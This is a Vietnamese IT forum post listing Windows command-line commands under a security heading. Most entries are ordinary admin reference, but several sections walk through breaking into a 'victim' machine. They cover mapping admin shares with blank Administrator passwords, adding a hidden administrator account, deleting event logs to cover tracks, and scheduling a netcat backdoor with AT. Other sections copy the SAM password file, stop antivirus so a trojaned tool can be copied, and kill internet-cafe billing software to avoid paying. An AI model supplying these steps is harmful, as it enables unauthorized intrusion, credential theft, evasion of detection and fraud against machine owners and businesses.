Chia Sẽ Kinh Nghiệm Về IT



Tìm Kiếm Với Google
-


Gởi Ðề Tài Mới  Gửi trả lời
 
Công Cụ Xếp Bài
Tuổi 11-12-2009, 11:39 AM   #1
hoctinhoc
Guest
 
Trả Lời: n/a
Các lệnh trong CMD dành cho Security !
Các lệnh trong CMD dành cho Security !

Chào anh em, trong lúc tham khảo trang HVA mình thấy bài này hữu ích cho các anh em đang quan tâm đến các câu lệnh CMD phục vụ cho việc bảo mật nên muốn cùng chia sẻ. Anh em nào có thêm các lệnh khác thì cùng bổ sung cho bộ sưu tầm thêm hoành tráng nhé.

NET là lệnh nội trú của Windows 2003, XP nên anh em không cần phải đi tìm nó ở đâu hết, cứ gõ là chạy. Chức năng của lệnh này được phân ra theo một số nhóm sau:


30 lệnh hay sử dụng nhất



Click Start-->Run---> type cmd ---> press enter

1. Lệnh Ping :

Cú pháp:
Code:

ping ip/host [/t][/a][/l][/n]

- ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
- Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
- Tham số /a: Nhận địa chỉ IP từ tên host
- Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt.
- Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5
Công dụng :
+ Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....

2. Lệnh Tracert :

Cú pháp :
Code:

tracert ip/host

Công dụng :
+ Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.

3. Lệnh Net Send,

gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP):
Cú pháp:

Net send ip/host thông_điệp_muốn_gởi
Công dụng:
+ Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi.
+ Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau :
Code:

Net send * hello!I'm pro_hacker_invn

4. Lệnh Netstat :

Cú pháp:
Code:

Netstat [/a][/e][/n]

- Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
- Tham số /e: hiển thị các thông tin thống kê Ethernet
- Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối...
Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm
Công dụng :
+ Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG :

Cú pháp:
Code:

ipconfig /all

Công dụng:
+ Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...

6. Lệnh FTP (truyền tải file):


Cú pháp:
Code:

ftp ip/host

Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau:
Code:

ftp>_

Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP.
Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ.
Một số lệnh ftp cơ bản:

-cd thu_muc: chuyển sang thư mục khác trên máy chủ
- dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ
- mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ
- rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ
- put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ.
- close: Đóng phiên làm việc
- quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command.
Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu.
Công dụng :
+ FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp

7. Lệnh Net View :


Cú pháp:
Code:

Net View [\\computer|/Domain[:ten_domain]]

Công dụng:
+ Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng.

+ Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

8. Lệnh Net Use :

Cú pháp:
Code:

Net use \\ip\ipc$ "pass" /user:"######"

- ip: địa chỉ IP của victim.
- ######: user của máy victim
- pass: password của user
Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau:
Code:

Net use \\68.135.23.25\ipc$ "12345" /user:"victim"

Công dụng:
+ kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User :

Cú pháp:
Code:

Net User [username pass] [/add]

- Username : tên user cấn add
- pass : password của user cần add
Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator.
Code:

Net Localgroup Adminstrator [username] [/add]

Công dụng:
+ Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính.
+ Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
Ví dụ: ta tiến hành add thêm một user có tên là :xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau:
Code:

Net User xuanhoa banvatoi /add

Sau đó add user xuanhoa vào nhóm adminnistrator
Code:

Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown:

Cú pháp:
Code:

Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d up:xx:yy] (áp dụng cho win XP)

- Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
- Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
- Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
- Tham số -s : shutdown
- Tham số -r : shutdown và restart
- Tham số -a : không cho shutdown
- Tham số -f : shutdown mà ko cảnh báo
- Tham số -c "comment" : lời cảnh báo trước khi shutdown
- Tham số -d up:xx:yy : ko rõ
Code:

shutdown \\ip (áp dụng win NT)

Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn!
Công dụng:
+ Shutdown máy tính.

11. Lệnh DIR :

Cú pháp:
Code:

DIR [drive:][path][filename]

Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn.
Công dụng:
+ Để xem file, folder.

12. Lệnh DEL :

Cú pháp:
Code:

DEL [drive:][path][filename]

Lệnh này cũng căn bản rùi, ko phải nói nhìu.
Công dụng:
Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT:
Code:

del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer:


Cú pháp:
Code:

Net use z: \\ip\C$ ( hoặc là IPC$ )

- Z là của mình...còn C$ là của Victim
Công dụng:
Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)

14. Lệnh Net Time :

Cú pháp:
Code:

Net Time \\ip

Công dụng:
+ Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.

15. Lệnh AT:

Cú pháp:
Code:

AT \\ip

Công dụng:
+ Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng.
Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 .
Code:

Net Time \\68.135.23.25

Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00.
Code:

AT \\68.135.23.25 12:3 nc.exe

Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet:

Cú pháp:
Code:

telnet host port

Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie
Code:

telnet 68.135.23.25 99

Công dụng:
+ Kết nối đến host qua port xx

17. Lệnh COPY:

Cú pháp:
Code:

COPY /?

Dùng lệnh trên để rõ hơn!
Công dụng:
+ Copy file, tui khỏi nói thêm nhé.
Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
Code:

Copy Index.html \\127.0.0.1\C$\index.html

nếu bạn copy lên folder winNt
Code:

Copy index.html \\127.0.0.1\admin$\index.html

muốn copy files trên máy victm thì bạn gõ vào :
Code:

Copy \\127.0.0.1\Admin$\repair\sam._c:\

18. Lệnh SET:

Cú pháp:
Code:

SET

Công dụng:
+ Displays, sets, or removes cmd.exe enviroment variables.

19. Lệnh Nbtstat:

Cú pháp:
Code:

Nbtstat /?

Gõ lệnh trên để rõ hơn về lệnh này.
Công dụng:
+ Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)

20. Lệnh Date :

Cú pháp:

Code:
Date /TCông dụng:
+ Nếu chỉ gõ lệnh date thì hệ thống sẽ hiển thị ngày giờ hệ thống và yêu cầu bạn nhập ngày giờ mới để edit.
+ Nếu gõ lệnh date /t thì bạn chỉ coi thông tin về ngày giờ hệ thống!

21. Lệnh xuất thông tin thành file *.txt:


Cú pháp:

Code:
Câu lệnh >[drive]:\[path]\tenfile.txtCông dụng:
+ xuất một tham số nào đó ra 1 file text .
Ví dụ: bạn đánh lệnh sau:

Code:
ipconfig >C:\myip.txtHệ thống sẽ tạo ra file myip.txt lưu ở ổ đĩa C với thông tin là IP, Gateway, Subnet Mask

22. Lệnh openfiles:

Cú pháp:

Code:
OpenFiles /Disconnect /ID id hoặc OpenFiles /Disconnect /A tên-truy-cậpCông dụng:
+ Cho biết ai đang dùng các tập tin (thư mục) mà bạn đang chia sẽ trên hệ thống mạng

23. Lệnh Recover:

Cú pháp:

Code:
Recover /?Đánh lệnh recover /? để biết thêm chi tiết nhé!
Công dụng:
+ Để "cứu" một file nào đó bị hỏng khi file đó nằm trên vùng đĩa hư (bad sector chăng hạn). Chỉ hoạt động khi hệ thống file của bạn là NTFS (Fat32/Fat không dùng được đâu nhé). Nó dở 1 chỗ là dùng lệnh này cho từng file một nên có nhiều file hư các bạn nên tìm tiện ích của các hãng thứ 3

24. Lệnh Tasklist :

Cú pháp:

Code:
TasklistCông dụng:
+ Liệt kê các tác vụ (các chương trình ứng dụng đang chạy trong bộ nhớ máy tính) chi tiết. Sẽ cho bạn biết tên process đang chạy. Process là một luồng xử lý được CPU cấp riêng khi thực thi một ứng dụng (chương trình) hay PID (Process ID). TaskList hữu ích khi dùng với Taskkill.
+ Để hiểu rõ hơn về lệnh này, hãy gõ /? sau cấu trúc lệnh nhé!

25. Lệnh Taskkill:

Cú pháp:

Code:
Taskkill /PID proccess idĐừng quên thêm /? sau cấu trúc lệnh để hiểu rõ hơn nhé!
Công dụng:
+ Để "kill" một "task" đang chạy trong bộ nhớ. Lợi hại lắm đấy, khi ra net gặp quán nào nó cái DWK hay Netcafe thì mình tắt nó đi cái một!
Ví dụ:
Đầu tiên ta dùng lệnh tasklist để biết được groccess id của chương trình cần tắt.

Code:
tasklistỞ đây tôi thí dụ như tôi cần DWK có groccess id là 524 thì ta dùng lệnh taskkill để tắt nó đi như sau:

Code:
taskkill /PID 524 /ftham số /f là để tắt ứng dụng đó đi một cách hoàn toàn! Gọi là tắt hoàn toàn vậy thui chứ minh run hoặc khởi đọng lại là nó vẫn chạy bình thường ah! Lợi dụng ứng dụng này ta có thể làm giảm bớt chi phí ngồi net bằng cách tắt easy cafe đi. Chừng nào gần về rùi hãy mở lại hoặc nhấn nút reset là xong! He he! Nhưng nhớ phải làm cho khéo kẻo bị đập đó!

26. Lệnh Compact:

Cú pháp:
Compact [/c] [/u] [/s] [/a] [/i] [/f] [/q]
- tham số /c : chỉ định nén một file nào đó
- tham số /u : giải nén một file nào đó
- Các tham số còn lại tự ngâm cứu thêm nhé!
Công dụng:
+ Tương tự như chức năng tiết kệm dung lượng đĩa trên Windows XP hay 2003 (Vista) - chỉ có khi dùng NTFS là "Compress Contents To Save Disk Space". Các bạn có nhiều kiểu làm như click phải chuột vào một file chọn Properties -> Advanced rồi check vào ô tiết kiệm dung lượng cho file này "Compress file to save disk space". Nhưng khi các bánj muốn nén tất các file có phần mở rộng là *.* thì Compact là lựa chọn tốt nhất .
Ví dụ:

Code:
compact /c *.exe27. Lệnh control:
Cú pháp:

Code:
controlCông dụng:
+ Mở control panel bằng CMD

28. Lệnh getmac:

Cú pháp:

Code:
getmacCông dụng:
+ lấy thông tin địa chỉ MAC (Media Access Control) từ card mạng.

29. Lệnh systeminfo:

Cú pháp:

Code:
systeminfoCông dụng:
+ hiện thị thông tin của hệ thống từ cấu hình cơ bản, loại CPU, khu vực địa lý, các bản hotfix (bản cập nhập) đã cài trong máy, v.v...

30. Lệnh tree:

Cú pháp:

Code:
tree [ổ đĩa]:[đường dẫn] [/f] [/a]- Tham số /f : hiển thị tên của file trong mỗi thư mục
- Tham số /a : ko rõ
Công dụng:
+ Hiển thị cấu trúc thư mục dạng cây!






Next


Mã:
1. Managing Services: Quản lý dịch vụ
NET - START, STOP, PAUSE, CONTINUE

2. Managing File Shares and Printer Shares: Kiểm sóat, chia xẻ tài nguyên
NET - SHARE, VIEW, USE, FILE, SESSIONS

3. Managing Network Print jobs and Network Time: Kiểm sóat tác vụ in ấn và thời gian vào mạng
NET - TIME, PRINT

4. Managing Security: Kiểm sóat bảo mật hệ thống
NET - ACCOUNTS, USER, GROUP, LOCALGROUP

5. Network Messaging: Giao dịch nhắn tin trong mạng
NET - NAME, SEND

6. Managing Network configuration: Quản lý cấu hình của mạng
NET - COMPUTER, CONFIG_WORKSTATION, CONFIG_SERVER, STATISTICS_WORKSTATION, STATISTICS_SERVER
Bây giờ tôi xin đi vắn tắt một số lệnh của NET theo từng nhóm.

1. Managing service:

Cú pháp của lệnh như sau:

Mã:
NET START [service]
NET STOP [service]
NET PAUSE [service]
NET CONTINUE [service]


Trong đó [service] chính là từ khóa hiển thị trong phần service của Control Panel

Bốn lệnh START, STOP, PAUSE và CONTINUE tương ứng với KHỞI ĐỘNG, DỪNG, TẠM NGỪNG, TIẾP TỤC cái service mà

anh em sẽ chỉ định cho nó thực thi. Để biết tên của các service đang chạy, anh em gõ vào dòng lệnh:

NET START

Lệnh này liệt kê tên đầy đủ của các service đang chạy. Muốn dừng chúng thì phải gõ NET STOP [service] với tên service viết gọn giống như trong Control Panel. Ví dụ anh em đang dùng Norton Antivirus, rủi có chép một trình nào đó như Brutus chẳng hạn thì nó cứ nhảy ra và la lên là cái file đó có trojan bên trong. Thế là nó không cho anh em chép vào máy của mình. Bây giờ gõ lệnh sau:

NET STOP navapsvc

Màn hình sẽ hiện ra

The Norton AntiVirus Auto Protect Service service is stopping.
The Norton AntiVirus Auto Protect Service service was stopped successfully.

Bây giờ anh em ngó xuống cái icon của NAV phía dưới System Tray thì thấy nó bị gạch chéo (disabled) rồi. Đó là do mình tắt bằng NET STOP.

2. Managing File Shares and Printer Shares: Kiểm sóat, chia xẻ tài nguyên
Lệnh NET này đi kèm một số tham số sau: SHARE, VIEW, USE, FILE, SESSIONS


SHARE - hiển thị những chia xẻ trên máy, ví dụ

Mã:
Share name Resource Remark

-----------------------------------------------------------
IPC$ Remote IPC
D$ D:\ Default share
F$ F:\ Default share
ADMIN$ E:\WINDOWS Remote Admin
C$ C:\ Default share
E$ E:\ Default share
The command completed successfully.


Các share có dấu $ là chia xẻ tài nguyên ở mức hệ thống cho admin, thường gọi là share ẩn.

VIEW - hiển thị tất cả các máy trong cùng domain hoặc workgroup

Mã:
Server Name Remark

-----------------------------------------

\\CPQ25981604619 DTLong
\\DEFAULT-EBGQAMU
\\FERRARI Formula 1
\\JITH
\\JOE-VT6094JJ9
\\KACE
\\KENGCOM KengCOM
\\LOTUS
The command completed successfully.


Bây giờ ta bàn cách chiến đấu một số máy để tìm tài nguyên. Lệnh Net View cho phép xem tài nguyên chia xẻ của các máy cùng subnet. Cú pháp câu lệnh như sau:

NET VIEW [tên máy]

Ví dụ: NET VIEW \\KACE

Nếu máy này có chia xẻ tài nguyên, màn hình sẽ hiện ra tên của các share directory, lúc này ta chỉ việc phát lệnh sử dụng tài nguyên đó mà thôi.

Để chiếm dụng tài nguyên chia xẻ, anh em có thể dùng My Network Places / Network Neighborhood để truy nhập vào, ở đây ta dùng lệnh NET USE thay cho việc dùng My Network Places

NET USE * \\tên máy\tên share
hoặc
NET USE xxx.xxx.xxx.xxx


Trong đó tên máy là tên hiện ra qua lệnh NET VIEW. Trường hợp sử dụng IP của máy trong NET USE, anh em phải gõ IP vào.

Để biết IP của máy nạn nhân, có thể lace w:st="on">PINGlace> vào tên của máy. Ví dụ

Mã:
PING LOTUS
Pinging lotus [202.129.41.106] with 32 bytes of data:

Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128

Ping statistics for 202.129.41.106:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms


Như vậy, máy LOTUS có địa chỉ IP là 202.129.41.106

Trong lệnh NET USE, dấu * có nghĩa là lấy tên một ổ đĩa bất kỳ (từ A-Z) rồi ánh xạ share đó vào ổ đĩa tùy chọn ấy. Nếu trên LOTUS có share một thư mục là SharedDocs thì lúc này lệnh NET USE dùng như sau:

NET USE * \\LOTUS\SharedDocs

hoặc

NET USE * \\202.129.41.106\SharedDocs

Sau khi thành công, SharedDocs biến thành ổ đĩa Z (chẳng hạn) trên máy của anh em.

Có thể chiếm dụng sâu hơn vào trong tài nguyên ẩn của máy. Lệnh gõ như sau:

NET USE * \\202.129.41.106\C$

Nếu lệnh này thành công, ổ C của máy nạn nhân sẽ "bay" về máy anh em như một ổ đĩa của mình vậy. Dùng như trên máy mình và cũng có thể xóa lung tung như nó là của mình vậy. Tương tự, phỏng đoán máy nạn nhân có thể có vài ổ đĩa như D, E, F, anh em có thể thử lệnh trên với D$, E$, F$, G$ tới khi nào nó báo lỗi thì tức là ổ đĩa đó không có trên máy của nạn nhân.

Thường thì các share ẩn này share cho account admin nên khi mình gõ lệnh đó nó sẽ hỏi Username và Password. Nếu đoán được Username (ví dụ: LOTUS) thì gõ vào rồi cũng đóan luôn mật khẩu nhé (hơi khó đấy), bằng không thì anh em nhập Administrator vào cho Username, còn để password là rỗng (sau khi nhập Username thì gõ ENTER tiếp cho phần mật khẩu). Nếu may mắn tiếp thì có thể thóat qua được. Trường hợp này là do admin máy đó sơ sẩy không đổi password mặc định của Windows sau khi cài hệ điều hành. Và như vậy anh em có thể ung dung chiếm tài nguyên của nạn nhân rồi. Anh em sẽ đi du lịch trong máy nạn nhân, chép bất cứ cái gì anh em thích như là đang trên máy mình vậy. Tuy nhiên cơ hội thành công là rất thấp. Vì thế, lệnh NET USE này thường chỉ phát huy tác dụng cao với các máy có share tài nguyên cho mọi người (ví dụ như SharedDocs).

Lưu ý, có một mẹo nhỏ. Nếu anh em chiếm được quyền admin với account Administrator và password rỗng rồi thì anh em có thể dùng con Hyena tạo ra một account cho mình trên máy nạn nhân, đề phòng trong tương lai chúng cài service pack thì NET USE hết đường làm ăn. Lúc đó có con account kia rồi dễ bề tung hoành hơn.

Mấy lệnh trên là những lệnh chính thường dùng. Các lệnh còn lại xin anh em tham khảo thêm trên mạng nhé. Chúng đơn giản nói ra sợ anh em mất thời gian đọc.

Đoạn cuối của phần này xin được giới thiệu cùng anh em các câu lệnh về máy in và kiểm sóat thời gian.


3. Managing Network Print jobs and Network Time:
TIME, PRINT


Lệnh NET TIME cho biết thời gian của đồng hồ trên máy mạng. Câu lệnh là:

NET TIME \\tên máy

Ví dụ: NET TIME \\LOTUS

Lệnh này có nhiều biến thể khác, anh em chịu khó tham khảo. Tôi giới thiệu thêm về lệnh đồng bộ hóa đồng hồ máy mình với máy chủ trên mạng, cú pháp như sau:

NET TIME \\servername /SET /YES

Trong đó servername là tên của máy chủ

Lệnh NET PRINT có cú pháp như sau: NET PRINT \\ComputerName\ShareName

Hiển thị tác vụ hiện thời trên máy in, giống như việc xem xét thông qua Printer Manager xem có những tài liệu nào đang được máy in đó in ra.

ComputerName là tên máy chủ có share máy in
ShareName là tên share của máy in đó.


Để tạm ngưng (PAUSE) một lệnh in, có thể dùng lệnh sau

NET PRINT [\\ComputerName] job# /HOLD

ComputerName là tên máy có share printer còn job# tương đương số thứ tự của tài liệu in trên danh sách các tài liệu đang được in (1,2,3,4...)

Để tiếp tục in sau khi lệnh HOLD được thi hành, gõ vào lệnh

NET PRINT [\\ComputerName] job# /RELEASE

Để xóa, delete một lệnh in, ví dụ trong trường hợp in nhầm một văn bản lớn, anh em có thể gõ lệnh

NET PRINT [\\ComputerName] job# /DELETE



Tiếp Theo

Mã:
vd : ipconfig /all >> c:\ip.txt 
 
 cipher : mã hóa file/thư mục 
 
 comp:so sánh nội dung hai file 
 fc :so sánh file và hiển thị sự khác nhau 
 
 dir /s : tìm kiếm file 
 find (findstr) :kiếm chuỗi text trong file 
 
 eventcreate : tạo ra các sự kiện và thông báo... 
 
 for: tạo vòng lập ... 
 
 getmac : hiển thị thông tin card mạng. 
 
 gpudate : cập nhật group policy 
 
 hostname : hiển thị tên máy tính 
 
 label : tạo nhãn đĩa 
 
 md , mkdir : tạo thư mục 
 
 mountvol : quản lý volume mount point 
 
 move : chuyển file sang thư mục khác cùng ổ đĩa. 
 
 nbtstat : ht trạng thái netbios... 
 
 net accounts : quản lí account, pwd 
 
 net computer : thêm/xóa máy tính ra khỏi domain 
 
 net config sever : chỉnh sửa cấu hình dịch vụ của server 
 net config workstation : chỉnh sửa cấu hình dịch vụ của workstation 
 
 net continue : trở lại dịch vụ đã tạm dừng. 
 
 net file : quản lý các file mở trên 1 server. 
 
 net group :quản lý các global group 
 net localgroup :quản lý các local group 
 
 net pause : dừng một dịch vụ 
 
 net print : quản lý việc in ấn. 
 
 net send : gửi thông điệp 
 
 net session : quản lí các phiên kết nối. 
 
 net share : quản lí việc chia sẻ file, thư mục 
 
 net start : liệt kê/chạy các dịch vụ mạng 
 net stop :ngưng dịch vụ mạng. 
 
 net time : ht , đồng bộ thời gian 
 
 net use: quản lí các kết nối . 
 
 net user: tạo các account 
 
 net view : hiển thị tài nguyên mạng. 
 
 netstat : trạng thái mạng. 
 
 Lệnh For: tạo vòng lập 
 Vd : lặp qua các giá trị 
 
 for /l %a in (0,1,10) do echo %a 
 
 %a : biến số nhận giá trị trong (0,1,10). biến số được biểu diễn bắt đầu  là % theo sau là số hay chữ cái... 
 
 0 : giá trị ban đầu 
 10: giá trị kết thúc 
 1: bước nhảy 
 
 sau do : đánh lệnh cần thực thi . 
 
 lặp qua các nhóm file: 
 
 for %a in (c:\*.txt) do echo %a 
 
 liệt kê các file có đuôi .txt trong c:\ 
 
 for /r c:\ %a in (*.txt) do echo %a 
 
 liệt kê các file *.txt trong c:\ và các thư mục con của nó. 
 
 lặp qua các thư mục : 
 vd: 
 
 for /d %a in (c:\*) do echo %a 
 
 liệt kê các thư mục trong c:\ . 
 
 lặp qua các giá trị trong file: 
 
 for /f %a in (c:\a.txt) do echo %a 
 
 nó sẽ liệt kê nội dung từng dòng trong file a.txt. bạn có thể sử dụng  vòng lăp này để thực hiện các lệnh khác không chỉ là liệt kê như ví dụ  trên. 
 
 net user abc 111 /add : tạo acc có tên abc và pwd là 111 
 
 net user abc /delete : xóa acc abc 
 
 net use z: \\abc\fgh "111" /u:"asd" : ánh xạ fgh trên máy abc thành ổ z  với quyền của user asd có pwd là 111 
 
 net accounts :quản lý user acc. 
 net accounts /forcelogoff:15 - máy sẽ logoff sau 15 phút (nếu pwd  expired) 
 net accounts /forcelogoff:no - máy không logoff dù pwd đã expired 
 
 net send abc hello: gửi đến máy abc tin nhắn là hello 
 
 net share : hiển thị các file và máy in chia sẻ. 
 
 reg add : thêm 1 subkey, entry vào registry: 
 reg add \\ABC\HKU /v sample /t reg_dword /d 121 
 Thêm entry có tên sample có giá trị là 121 vào Hkey_users của registry  máy ABC với kiểu dữ liệu là reg_dword 
 
 reg add HKLM\Software\sample 
 thêm subkey tên sample vào HKLM\Software\ 
 
 reg compare : so sánh các subkey, entry 
 reg compare HKU\software\sample1 HKU\software\sample2 
 so sánh giá trị 2 entry sample1 và sample2 
 
 reg compare \\com1\HKLM\Software reg compare \\com2\HKLM\Software /s 
 so sánh các subkey và entry của HKLM\Software trên 2 máy com1 và com2. 
 
 reg copy : sao chép entry, subkey 
 reg copy \\com1\HKLM\Software reg compare \\com2\HKLM\Software /s 
 sao chép các subkey và entry của HKLM\Software máy com1 sang  HKLM\Software của com2
Chúc thành công
--------------------------
Taskkill (vnbb.com)



  Trả lời ngay kèm theo trích dẫn này
Gửi trả lời



Quyền Hạn Của Bạn
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Mở
Hình Cảm xúc đang Mở
[IMG] đang Mở
Mã HTML đang Tắt




Bây giờ là 02:30 PM. Giờ GMT +7



Diễn đàn tin học QuantriNet
quantrinet.com | quantrimang.co.cc
Founded by Trương Văn Phương | Developed by QuantriNet's members.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.